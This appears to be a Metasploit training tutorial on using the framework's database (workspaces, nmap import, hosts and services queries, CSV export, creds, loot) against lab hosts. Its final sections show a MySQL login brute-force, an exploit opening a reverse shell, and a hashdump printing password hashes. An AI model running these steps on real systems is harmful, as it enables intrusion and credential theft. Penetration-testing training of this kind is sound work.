Using the Database

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Setup

In Kali, you will need to start up the postgresql server before using the database.

root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.

Once you start the metasploit service it will create a msf3 datauser user and database called msf3.

root@kali:~# service metasploit start
Configuring Metasploit...
Creating metasploit database user 'msf3'...
Creating metasploit database 'msf3'...
insserv: warning: current start runlevel(s) (empty) of script `metasploit' overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit' overrides LSB defaults (0 1 6).
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.

Workspaces

When we load up msfconsole, and run "db_status", we can confirm that Metasploit is successfully connected to the database.

msf > db_status 
[*] postgresql connected to msf3

Seeing this capability is a meant of keeping track of our activities and scans in order. It's imperative we start off on the right foot. Once connected to the database, we can start organizing our different movements by using what are called 'workspaces'. This gives us the ability to save different scans from different locations/networks/subnets for example.
Issuing the 'workspace' command from the msfconsole, will display the currently selected workspaces. The 'default' workspace is selected when connecting to the database, which is represented by the * beside its name.

msf > workspace
* default
  msfu
  lab1
  lab2
  lab3
  lab4
msf > 

As we can see this can be quite handy when it comes to keeping things 'neat'. Let's change the current workspace to 'msfu'.

msf > workspace msfu
[*] Workspace: msfu
msf > workspace
  default
* msfu
  lab1
  lab2
  lab3
  lab4
msf > 

Creating and deleting a workspace one simply uses the '-a' or '-d' followed by the name at the msfconsole prompt.

msf > workspace -a lab4
[*] Added workspace: lab4
msf > 


msf > workspace -d lab4 
[*] Deleted workspace: lab4
msf > workspace


It's that simple, using the same command and adding the '-h' switch will provide us with the command's other capabilities.

 
msf > workspace -h
Usage:
    workspace                  List workspaces
    workspace [name]           Switch workspace
    workspace -a [name] ...    Add workspace(s)
    workspace -d [name] ...    Delete workspace(s)
    workspace -r <old> <new>   Rename workspace
    workspace -h               Show this help information

msf > 

From now on any scan or imports from 3rd party applications will be saved into this workspace.
Now that we are connected to our database and workspace setup, lets look at populating it with some data. First we'll look at the different 'db_' commands available to use using the 'help' command from the msfconsole.

msf > help
...snip...

Database Backend Commands
=========================

    Command        Description
    -------        -----------
    creds          List all credentials in the database
    db_connect     Connect to an existing database
    db_disconnect  Disconnect from the current database instance
    db_export      Export a file containing the contents of the database
    db_import      Import a scan result file (filetype will be auto-detected)
    db_nmap        Executes nmap and records the output automatically
    db_status      Show the current database status
    hosts          List all hosts in the database
    loot           List all loot in the database
    notes          List all notes in the database
    services       List all services in the database
    vulns          List all vulnerabilities in the database
    workspace      Switch between database workspaces



Importing & Scanning

There are several ways we can do this, from scanning a host or network directly from the console, or importing a file from an earlier scan. Let's start by importing an nmap scan of the 'metasploitable 2' host. This is done using the 'db_import' followed by the path to our file.

msf >  db_import /root/msfu/nmapScan 
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Rex::Parser::NmapXMLStreamParser'
[*] Importing host 172.16.194.172
[*] Successfully imported /root/msfu/nmapScan
msf > hosts

Hosts
=====

address         mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------  ---------  -----  -------  ----  --------
172.16.194.172  00:0C:29:D1:62:80        Linux    Ubuntu            server         

msf > 


Once completed we can confirm the import by issuing the 'hosts' command. This will display all the hosts stored in our current workspace. We can also scan a host directly from the console using the 'db_nmap' command. Scan results will be saved in our current database. The command works the same way as the command line version of 'nmap'

msf > db_nmap -A 172.16.194.134
[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2012-06-18 12:36 EDT
[*] Nmap: Nmap scan report for 172.16.194.134
[*] Nmap: Host is up (0.00031s latency).
[*] Nmap: Not shown: 994 closed ports
[*] Nmap: PORT     STATE SERVICE      VERSION
[*] Nmap: 80/tcp   open  http         Apache httpd 2.2.17 ((Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 

...snip...

[*] Nmap: HOP RTT     ADDRESS
[*] Nmap: 1   0.31 ms 172.16.194.134
[*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 14.91 seconds
msf >


msf > hosts

Hosts
=====

address         mac                name  os_name            os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------            ---------  -----  -------  ----  --------
172.16.194.134  00:0C:29:68:51:BB        Microsoft Windows  XP                server         
172.16.194.172  00:0C:29:D1:62:80        Linux              Ubuntu            server         

msf > 


Backing Up

Exporting our data outside the Metasploit environment is very simple. Using the 'db_export' command all our gathered information can be saved in a XML file. This format can be easily used and manipulated later for reporting purposes. The command has 2 outputs, the 'xml' format which will export all of the information currently stored in our active workspace, and the 'pwdump' format which exports everything related to used/gathered credentials.

msf >  db_export -h
Usage:
    db_export -f  [-a] [filename]
    Format can be one of: xml, pwdump
[-] No output file was specified

msf > db_export -f xml /root/msfu/Exported.xml
[*] Starting export of workspace msfu to /root/msfu/Exported.xml [ xml ]...
[*]     >> Starting export of report
[*]     >> Starting export of hosts
[*]     >> Starting export of events
[*]     >> Starting export of services
[*]     >> Starting export of credentials
[*]     >> Starting export of web sites
[*]     >> Starting export of web pages
[*]     >> Starting export of web forms
[*]     >> Starting export of web vulns
[*]     >> Finished export of report
[*] Finished export of workspace msfu to /root/msfu/Exported.xml [ xml ]...




Hosts

Now that we can import and export information to and fro our database, let us look at how we can use this information within the msfconsole. Many commands are available to search for specific information stored in our database. Hosts names, address, discovered services etc. We can even use the resulting data to populate module settings such as RHOSTS. We'll look how this is done a bit later.

The 'hosts' command was used earlier to confirm the presence of data in our database. Let's look at the different options available and see how we use it to provide us with quick and useful information. Issuing the command with '-h' will display the help menu.

msf > hosts -h
Usage: hosts [ options ] [addr1 addr2 ...]

OPTIONS:
  -a,--add          Add the hosts instead of searching
  -d,--delete       Delete the hosts instead of searching
  -c <col1,col2>    Only show the given columns (see list below)
  -h,--help         Show this help information
  -u,--up           Only show hosts which are up
  -o <file>         Send output to a file in csv format
  -R,--rhosts       Set RHOSTS from the results of the search
  -S,--search       Search string to filter by

Available columns: address, arch, comm, comments, created_at, info, mac, name, note_count, os_flavor,
os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count


We'll start by asking the 'hosts' command to display only the IP address and OS type using the '-c' switch.

msf > hosts -c address,os_flavor

Hosts
=====

address         os_flavor
-------         ---------
172.16.194.134  XP
172.16.194.172  Ubuntu



Setting up Modules

Another interesting feature available to us, it the ability to search all our entries for something specific. Imagine if we wished to find only the Linux based machines from our scan. For this we'd use the '-S' option. This option can be combined with our previous example and help fine tune our results.

msf > hosts -c address,os_flavor -S Linux

Hosts
=====

address         os_flavor
-------         ---------
172.16.194.172  Ubuntu

msf >



Using the output of our previous example, we'll feed that into the 'tcp' scan auxiliary module.

msf  auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   FILTER                        no        The filter string for capturing traffic
   INTERFACE                     no        The name of the interface
   PCAPFILE                      no        The name of the PCAP capture file to process
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target address range or CIDR identifier
   SNAPLEN      65535            yes       The number of bytes to capture
   THREADS      1                yes       The number of concurrent threads
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds


We can see by default, nothing is set in 'RHOSTS', we'll add the '-R' switch to the hosts command and run the module. Hopefully it will run and scan our target without any problems.

msf  auxiliary(tcp) > hosts -c address,os_flavor -S Linux -R

Hosts
=====

address         os_flavor
-------         ---------
172.16.194.172  Ubuntu

RHOSTS => 172.16.194.172

msf  auxiliary(tcp) > run

[*] 172.16.194.172:25 - TCP OPEN
[*] 172.16.194.172:23 - TCP OPEN
[*] 172.16.194.172:22 - TCP OPEN
[*] 172.16.194.172:21 - TCP OPEN
[*] 172.16.194.172:53 - TCP OPEN
[*] 172.16.194.172:80 - TCP OPEN

...snip...

[*] 172.16.194.172:5432 - TCP OPEN
[*] 172.16.194.172:5900 - TCP OPEN
[*] 172.16.194.172:6000 - TCP OPEN
[*] 172.16.194.172:6667 - TCP OPEN
[*] 172.16.194.172:6697 - TCP OPEN
[*] 172.16.194.172:8009 - TCP OPEN
[*] 172.16.194.172:8180 - TCP OPEN
[*] 172.16.194.172:8787 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed



Of course this also works if our results contain more than one address.

msf  auxiliary(tcp) > hosts -R

Hosts
=====

address         mac                name  os_name            os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------            ---------  -----  -------  ----  --------
172.16.194.134  00:0C:29:68:51:BB        Microsoft Windows  XP                server         
172.16.194.172  00:0C:29:D1:62:80        Linux              Ubuntu            server         

RHOSTS => 172.16.194.134 172.16.194.172

msf  auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting                Required  Description
   ----         ---------------                --------  -----------
   CONCURRENCY  10                             yes       The number of concurrent ports to check per host
   FILTER                                      no        The filter string for capturing traffic
   INTERFACE                                   no        The name of the interface
   PCAPFILE                                    no        The name of the PCAP capture file to process
   PORTS        1-10000                        yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS       172.16.194.134 172.16.194.172  yes       The target address range or CIDR identifier
   SNAPLEN      65535                          yes       The number of bytes to capture
   THREADS      1                              yes       The number of concurrent threads
   TIMEOUT      1000                           yes       The socket connect timeout in milliseconds



You can see how useful this may be if our database contained hundreds of entries. We could search for Windows machines only, then set the RHOSTS option for the smb_version auxiliary module very quickly. The set RHOSTS switch is available in almost all of the commands that interact with the database.

Services

Other ways to search the database is by using the 'services' command. Like the our previous examples, we can extract very specific information with little effort.

 
msf > services -h

Usage: services [-h] [-u] [-a] [-r ] [-p ] [-s ] [-o ] [addr1 addr2 ...]

  -a,--add          Add the services instead of searching
  -d,--delete       Delete the services instead of searching
  -c <col1,col2>    Only show the given columns
  -h,--help         Show this help information
  -s <name1,name2>  Search for a list of service names
  -p <port1,port2>  Search for a list of ports
  -r <protocol>     Only show [tcp|udp] services
  -u,--up           Only show services which are up
  -o <file>         Send output to a file in csv format
  -R,--rhosts       Set RHOSTS from the results of the search
  -S,--search       Search string to filter by

Available columns: created_at, info, name, port, proto, state, updated_at



Much in the same way as the hosts command, we can specify which fileds to be displayed. Coupled with the '-S' switch, we can also search for a service containing a particular string.

msf > services -c name,info 172.16.194.134

Services
========

host            name          info
----            ----          ----
172.16.194.134  http          Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.194.134  msrpc         Microsoft Windows RPC 
172.16.194.134  netbios-ssn   
172.16.194.134  http          Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.194.134  microsoft-ds  Microsoft Windows XP microsoft-ds 
172.16.194.134  mysql 



Here we are searching all hosts contained in our database with a service name containing the string 'http'.

msf > services -c name,info -S http

Services
========

host            name  info
----            ----  ----
172.16.194.134  http  Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.194.134  http  Apache httpd 2.2.17 (Win32) mod_ssl/2.2.17 OpenSSL/0.9.8o PHP/5.3.4 mod_perl/2.0.4 Perl/v5.10.1 
172.16.194.172  http  Apache httpd 2.2.8 (Ubuntu) DAV/2 
172.16.194.172  http  Apache Tomcat/Coyote JSP engine 1.1 



The combinations for searching are enormous. We can use specific ports, or port ranges. Full or partial service name when using the '-s' or '-S' switches. For all hosts or just a select few... The list goes on and on. Here are a few examples, but you may need to experiment with these features in order to get what you want and need out your searches.

msf > services -c info,name -p 445

Services
========

host            info                                  name
----            ----                                  ----
172.16.194.134  Microsoft Windows XP microsoft-ds     microsoft-ds
172.16.194.172  Samba smbd 3.X workgroup: WORKGROUP   netbios-ssn


msf > services -c port,proto,state -p 70-81 Services ======== host port proto state ---- ---- ----- ----- 172.16.194.134 80 tcp open 172.16.194.172 75 tcp closed 172.16.194.172 71 tcp closed 172.16.194.172 72 tcp closed 172.16.194.172 73 tcp closed 172.16.194.172 74 tcp closed 172.16.194.172 70 tcp closed 172.16.194.172 76 tcp closed 172.16.194.172 77 tcp closed 172.16.194.172 78 tcp closed 172.16.194.172 79 tcp closed 172.16.194.172 80 tcp open 172.16.194.172 81 tcp closed
msf > services -s http -c port 172.16.194.134 Services ======== host port ---- ---- 172.16.194.134 80 172.16.194.134 443
msf > services -S Unr Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- 172.16.194.172 6667 tcp irc open Unreal ircd 172.16.194.172 6697 tcp irc open Unreal ircd


CSV Export

Both the hosts and services commands give us a means of saving our query results into a file. The file format is a comma separated value, or CSV. Followed by the '-o' with path and filename, the information that has been displayed on the screen at this point will now be saved to disk.

msf > services -s http -c port 172.16.194.134 -o /root/msfu/http.csv

[*] Wrote services to /root/msfu/http.csv

msf > hosts -S Linux -o /root/msfu/linux.csv
[*] Wrote hosts to /root/msfu/linux.csv

msf > cat /root/msfu/linux.csv
[*] exec: cat /root/msfu/linux.csv

address,mac,name,os_name,os_flavor,os_sp,purpose,info,comments
"172.16.194.172","00:0C:29:D1:62:80","","Linux","Debian","","server","",""

msf > cat /root/msfu/http.csv
[*] exec: cat /root/msfu/http.csv

host,port
"172.16.194.134","80"
"172.16.194.134","443"



Creds

The 'creds' command is used to manage found and used credentials for targets in our database. Running this command without any options will display currently saved credentials.

msf > creds

Credentials
===========

host  port  user  pass  type  active?
----  ----  ----  ----  ----  -------

[*] Found 0 credentials.



As with 'db_nmap' command, successful results relating to credentials will be automatically saved to our active workspace. Let's run the auxiliary module 'mysql_login' and see what happens when Metasploit scans our server.

msf  auxiliary(mysql_login) > run

[*] 172.16.194.172:3306 MYSQL - Found remote MySQL version 5.0.51a
[*] 172.16.194.172:3306 MYSQL - [1/2] - Trying username:'root' with password:''
[*] 172.16.194.172:3306 - SUCCESSFUL LOGIN 'root' : ''
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed


msf  auxiliary(mysql_login) > creds 

Credentials
===========

host            port  user  pass  type      active?
----            ----  ----  ----  ----      -------
172.16.194.172  3306  root        password  true

[*] Found 1 credential.
msf  auxiliary(mysql_login) >


We can see the module was able to connect to our mysql server, and because of this Metasploit saved the credentials in our database automatically for future reference.

During post-exploitation of a host, gathering user credentials is an important activity in order to further penetrate a target network. As we gather sets of credentials, we can add them to our database with the 'creds -a' command.

msf > creds -a 172.16.194.134 -p 445 -u Administrator -P 7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::
[*] Time: 2012-06-20 20:31:42 UTC Credential: host=172.16.194.134 port=445 proto=tcp sname= type=password user=Administrator pass=7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: active=true

msf > creds

Credentials
===========

host            port  user           pass                                                                  type      active?
----            ----  ----           ----                                                                  ----      -------
172.16.194.134  445   Administrator  7bf4f254b222bb24aad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e:::  password  true

[*] Found 1 credential.




Loot

Once you've compromised a system (or three), one of the objective may be to retrieve hash dumps. From either a Windows or *nix system. In the event of a successful hash dump, this information will be stored in our database. We can view this dumps using the 'loot' command. As with almost every command, adding the '-h' switch will display a little more information.

msf > loot -h
Usage: loot [-h] [addr1 addr2 ...] [-t ]

  -t   Search for a list of types
  -h,--help         Show this help information
  -S,--search       Search string to filter by

Here's an example of how one would populate the database with some 'loot'.

msf  exploit(usermap_script) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 4uGPYOrars5OojdL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "4uGPYOrars5OojdL\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:55138) at 2012-06-27 19:38:54 -0400

^Z
Background session 1? [y/N]  y

msf  exploit(usermap_script) > use post/linux/gather/hashdump 
msf  post(hashdump) > show options

Module options (post/linux/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

msf  post(hashdump) > sessions -l

Active sessions
===============

  Id  Type        Information  Connection
  --  ----        -----------  ----------
  1   shell unix               172.16.194.163:4444 -> 172.16.194.172:55138 (172.16.194.172)

msf  post(hashdump) > run

[+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] Unshadowed Password File: /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
[*] Post module execution completed



msf  post(hashdump) > loot

Loot
====

host            service  type          name                   content     info                            path
----            -------  ----          ----                   -------     ----                            ----
172.16.194.172           linux.hashes  unshadowed_passwd.pwd  text/plain  Linux Unshadowed Password File  /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.hashes_264208.txt
172.16.194.172           linux.passwd  passwd.tx              text/plain  Linux Passwd File               /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.passwd_953644.txt
172.16.194.172           linux.shadow  shadow.tx              text/plain  Linux Password Shadow File      /root/.msf4/loot/20120627193921_msfu_172.16.194.172_linux.shadow_492948.txt




Metasploit Fundamentals > Databases > Using the Database

Using the Database